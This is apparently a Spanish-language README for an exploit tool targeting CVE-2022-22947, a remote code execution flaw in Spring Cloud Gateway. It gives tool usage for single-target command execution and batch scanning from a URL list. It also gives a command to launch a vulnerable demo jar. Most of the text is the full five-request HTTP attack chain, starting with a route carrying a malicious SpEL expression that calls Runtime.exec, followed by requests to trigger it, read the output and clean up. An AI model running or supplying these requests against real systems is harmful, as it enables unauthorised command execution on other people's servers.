Vulnerabilidad de ejecución remota de código en Spring Cloud Gateway

Esta vulnerabilidad presenta un alto riesgo para los servicios en línea; no realice escaneos no autorizados.

Instrucciones de uso

╰─ ./CVE-2022-22947 -h                                                                                                                                                                                                                                            ─╯
Ejecutar comando: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami 
Detección por lotes: ./CVE-2022-22947 -l url.txt

Iniciar el entorno vulnerable

java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar

La vulnerabilidad se divide en 5 solicitudes

Primera solicitud (envíe el siguiente paquete para agregar una ruta que contenga una expresión SpEL maliciosa)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366

{
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
        }],
      "uri": "http://example.com",
      "order": 0
    }

Segunda solicitud (actualice la ruta recién agregada)

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Tercera solicitud (ver el resultado de la ejecución)

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded

Cuarta solicitud (limpiar la ruta agregada)

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Quinta solicitud (actualizar la ruta)

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Agradecimientos

Paquete JAR de 清水川崎 ; EXP de phith0n

CVE-2022-22947-Spring-Cloud-Gateway

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